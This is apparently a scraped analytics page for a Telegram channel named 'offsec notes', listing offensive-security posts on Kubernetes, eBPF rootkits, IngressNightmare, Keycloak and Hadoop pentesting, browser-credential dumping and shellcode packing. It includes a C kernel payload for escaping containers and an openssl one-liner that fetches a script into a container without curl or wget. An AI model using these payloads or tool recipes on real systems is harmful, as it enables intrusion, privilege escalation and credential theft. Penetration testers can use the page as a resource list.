offsec notes
الذهاب إلى القناة على Telegram
223
المشتركون
لا توجد بيانات24 ساعات
لا توجد بيانات7 أيام
+230 أيام
جاري تحميل البيانات...
القنوات المماثلة
لا توجد بيانات
هل تواجه مشاكل؟ يرجى تحديث الصفحة أو الاتصال بمدير الدعم الخاص بنا.
سحابة العلامات
الإشارات الواردة والصادرة
---
---
---
---
---
---
جذب المشتركين
مايو '25مايو '25
مايو '25
+6
في 0 قنوات
أبريل '25
+6
في 0 قنوات
Get PRO
مارس '25
+118
في 1 قنوات
Get PRO
فبراير '250
في 4 قنوات
Get PRO
يناير '250
في 0 قنوات
Get PRO
ديسمبر '240
في 0 قنوات
Get PRO
نوفمبر '240
في 2 قنوات
Get PRO
أكتوبر '240
في 0 قنوات
Get PRO
سبتمبر '240
في 0 قنوات
Get PRO
أغسطس '24
+23
في 0 قنوات
Get PRO
يوليو '240
في 0 قنوات
Get PRO
يونيو '24
+13
في 0 قنوات
Get PRO
مايو '240
في 0 قنوات
Get PRO
أبريل '240
في 0 قنوات
Get PRO
مارس '24
+10
في 0 قنوات
Get PRO
فبراير '240
في 1 قنوات
Get PRO
يناير '24
+55
في 1 قنوات
| التاريخ | نمو المشتركين | الإشارات | القنوات | |
| 27 مايو | 0 | |||
| 26 مايو | 0 | |||
| 25 مايو | 0 | |||
| 24 مايو | +1 | |||
| 23 مايو | 0 | |||
| 22 مايو | 0 | |||
| 21 مايو | 0 | |||
| 20 مايو | 0 | |||
| 19 مايو | 0 | |||
| 18 مايو | 0 | |||
| 17 مايو | 0 | |||
| 16 مايو | 0 | |||
| 15 مايو | +1 | |||
| 14 مايو | 0 | |||
| 13 مايو | 0 | |||
| 12 مايو | +1 | |||
| 11 مايو | 0 | |||
| 10 مايو | 0 | |||
| 09 مايو | 0 | |||
| 08 مايو | 0 | |||
| 07 مايو | +1 | |||
| 06 مايو | 0 | |||
| 05 مايو | 0 | |||
| 04 مايو | 0 | |||
| 03 مايو | +1 | |||
| 02 مايو | 0 | |||
| 01 مايو | +1 |
منشورات القناة
Post-exploiting a compromised etcd – Full control over the kubernetes cluster and its nodes
* Persistence * Resources hiding * Bypassing AdmissionControllers
| 2 | Заинтересовала тема с eBPF, поэтому в качестве эксперимента решил сделать вот такой проект https://github.com/cotsom/eBPF-rootkit/
* Бекдор через отправку парольной фразы в tcp пакете
* Сокрытие pid'а процесса (этот функционал взят из bad-bpf, но загрузчик переписан на Go)
По сокрытию pid есть хорошие статьи с разбором взятого примера
eBPF program creation in practice – PID concealment (Part 1)
eBPF in practice – PID concealment (Part 2) | 229 |
| 3 | Hide PID in linux with eBPF
* eBPF program creation in practice – PID concealment (Part 1)
* eBPF in practice – PID concealment (Part 2) | 1 |
| 4 | eBPF
eBPF: A new frontier for malware
* What is eBPF?
* Lifetime of an eBPF program
* kprobes, uprobes, and tracepoints
* eXpress Data Path (XDP)
* Traffic Control (TC)
* Prevention
* Detection
Bad-bpf- A collection of eBPF programs demonstrating bad behavior, presented at DEF CON 29
ebpfkit - rootkit powered by eBPF
With Friends Like eBPF, Who Needs Enemies? - Black hat USA 2021 research | 285 |
| 5 | Kubernetes Network Policies Done the Right Way by Isovalent.pdf | 459 |
| 6 |  لا يوجد نص... | 410 |
| 7 | Gitlab CI/CD
Attacking GitLab CI/CD via Shared Runners
* A Standard Poisoned Pipeline
* Shared Docker-in-Docker Runners and Privileged Containers
* The Shared Instance-Level Runner
* Attacking Docker-in-Docker Shared Runners
* Remediation - Hardening the CI/CD Infra
* Shell Executors
Link | 290 |
| 8 | IngressNightmare
Уязвимость существует на этапе проверки Admission Controller'ом входящего объекта Ingress, из которого создается конфигурация Nginx и проверяется с помощью nginx -t, что ведет к
CVE-2025-24514 - auth-url Annotation Injection
CVE-2025-1097 - auth-tls-match-cn Annotation Injection
CVE-2025-1098 - mirror UID Injection
CVE-2025-1974 - NGINX Configuration Code Execution
Detect exposed Ingress NGINX Admission Controller - Nuclei Template
Create admission review requests from Ingress resource manifests, which could then be sent directly to the admission controller via HTTP - kube-review
PoC
Full WIZ research - IngressNightmare: 9.8 Critical Unauthenticated Remote Code Execution Vulnerabilities in Ingress NGINX | 327 |
| 9 | Container escape using kernel exploitation & Seccomp bypass via manipulating the container’s namespaces
exploit from article
void get_root_payload( void) {
((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
);
// -------- NAMESPACE DOCKER EXPLOIT --------
// copy nsproxy from init_nsproxy to pid 1 of the container
unsigned long long g = ((_find_task_vpid)(FIND_TASK))(1);
// now, do the magic.... !!!! Simple black magic doesn't work on current process!!!!
((_switch_task_namespaces)(SWITCH_TASK_NS))(( void *)g, (void *)INIT_NSPROXY);
// prepare the two namespace FDs by opening the respective files
long fd = ((_do_sys_open)(DO_SYS_OPEN))( AT_FDCWD, "/proc/1/ns/mnt", O_RDONLY, 0);
((_sys_setns)(SYS_SETNS))( fd, 0);
fd = ((_do_sys_open)(DO_SYS_OPEN))( AT_FDCWD, "/proc/1/ns/pid", O_RDONLY, 0);
((_sys_setns)(SYS_SETNS))( fd, 0);
}
The above code can be used in any future privilege escalation vulnerability found in the Linux kernel to escape a containerized environment.
Link | 250 |
| 10 |  Nmap-did-what
Nmap-did-what is a Grafana docker container and a Python script to parse Nmap XML output to an SQLite database. The SQLite database is used as a datasource within Grafana to view the Nmap scan details in a dashboard.
The project consists of two main components:
* A Python script that parses Nmap XML output and stores the data in an SQLite database.
* A Grafana Docker container with a pre-configured dashboard for visualizing the Nmap scan data.
Link | 426 |
| 11 | Hadoop pentest
Hadoop Attack Library - A collection of pentest tools and resources targeting Hadoop environments
This repository is composed of two kind of information and organised accordingly:
* Tools, Techniques and Procedures to attack an Hadoop environment
* Key vulnerabilities on Hadoop components (Hadoop Common, HDFS, YARN etc.)
* Key vulnerabilities in third-party components often used in Hadoop environments
Apache Hadoop Pentesting - Exploits notes with the following sections
* Authenticate using Keytab
* Impersonate Another Hadoop Service
* HDFS Command Cheat Sheet
* RCE | 391 |
| 12 | Kubernetes security fundamentals
Introduction
* Complications of talking about Kubernetes security
* Managed and unmanaged Kubernetes distributions
* Areas of discussion
API Security
* Kubernetes components and ports
- Unmanaged Kubernetes
- Managed Kubernetes
* Securing Kubernetes APIs
Authentication
* Kubernetes authentication principles
- Internal Kubernetes authentication methods
- Static token authentication
- Bootstrap tokens
- X.509 client certificates
- Service account tokens
* External authentication methods
- OpenID Connect (OIDC)
- Webhook token authentication
- Authenticating proxy
- Impersonating proxy
* Authentication for other Kubernetes components
- Kubelet
- Controller manager and scheduler
- Kube-proxy
- Etcd
Authorization
* Kubernetes authorization principles
* Kubernetes authorization modules
- AlwaysAllow and AlwaysDeny
- Node Authorizer
- ABAC
- RBAC
- Webhook
* Authorization for other Kubernetes components
- Kubelet
- Scheduler and Controller Manager
Admission Control
* Admission control overview
- Internal admission controllers
- External admission controllers
* Risks of implementing external admission control
- Using admission control for pod security
Networking
* Network trust zones
* Introduction to CNI
* Managing network access in Kubernetes
* Securing the cluster network
* Conclusion
* Appendix - Setting up a demonstration environment | 391 |
| 13 | HackBrowserData is a command-line tool for decrypting and exporting browser data
* passwords
* history
* cookies
* bookmarks
* download history
* localStorage
* extensions
It supports the most popular browsers on the market and runs on Windows, macOS and Linux
Link | 320 |
| 14 | Keycloak pentest
Articles
Part 1 - Link
* Am I Testing Keycloak?
* Keycloak Version Information
* OpenID Configuration /SAML Descriptor
* Realms (Enumeration && Self-Registration Enabled)
* Client IDs
* Scopes
* Grants
* Identity Providers
* Roles
* User Email Enumeration
Part2 - Link
Reconnaissance
* Additional Services and Ports
* Interesting Local Files
* Reconnaissance Conclusion
Exploitation
* Brute Force Login
* Bypassing/Automating CSRF
* JWT Signing Algorithms
* Make the most out of your scopes/roles
* offline_access
* uma_authorization
* profile
* email
* address
* phone
Tools
Keycloak security scanner - Link
* Начиная с keycloak 17.0+ роут /auth в URL должен быть пропущен (/realms/realm_name/) | 6 847 |
| 15 | SCCMHunter
SCCMHunter is a post-ex tool built to streamline identifying, profiling, and attacking SCCM related assets in an Active Directory domain
contains modules such as
* admin
* dpapi
* http
* mssql
* smb
Link | 356 |
| 16 | CSP Bypass Techniques
Link | 385 |
| 17 |  Netfetch
Scan your Kubernetes clusters to identifiy unprotected workloads and map your existing Network policies
* Visualize network policies and pods in a interactive network map
* Scan cluster identify pods without network policies
* Create default deny network policies where this is missing
* Get suggestions for network policies based on existing workloads
Link | 416 |
| 18 |  darkPulse
darkPulse is a shellcode packer written in Go that is used to create various shellcode loaders | 355 |
| 19 |  Nginxpwner - is a simple tool to look for common Nginx misconfigurations and vulnerabilities
Install using Docker
git clone https://github.com/stark0de/nginxpwner
cd nginxpwner
sudo docker build -t nginxpwner:latest .
sudo docker run -it nginxpwner:latest /bin/bash
It actually checks for
* Gets Ngnix version and gets its possible exploits using searchsploit and tells if it is outdated
* Throws a wordlist specific to Nginx via gobuster
* Checks if it is vulnerable to CRLF via a common misconfiguration of using $uri in redirects
* Checks for CRLF in all of the paths provided
* Checks if the PURGE HTTP method is available from the outside
* Checks for variable leakage misconfiguration
etc | 462 |
| 20 | Bring file to container without curl/wget etc
you can send http requests using OpenSSL
Download deepce
(echo -ne "GET /stealthcopter/deepce/main/deepce.sh HTTP/1.1\r\nHost: raw.githubusercontent.com\r\nConnection: close\r\n\r\n"; sleep 3) | openssl s_client -connect raw.githubusercontent.com:443 -quiet > deepce.sh
Download from inside a container using only bash
Corrected script to work properly with python server - Link
URL=http://localhost:8000/file OUTPUT=file ./get.sh | 504 |
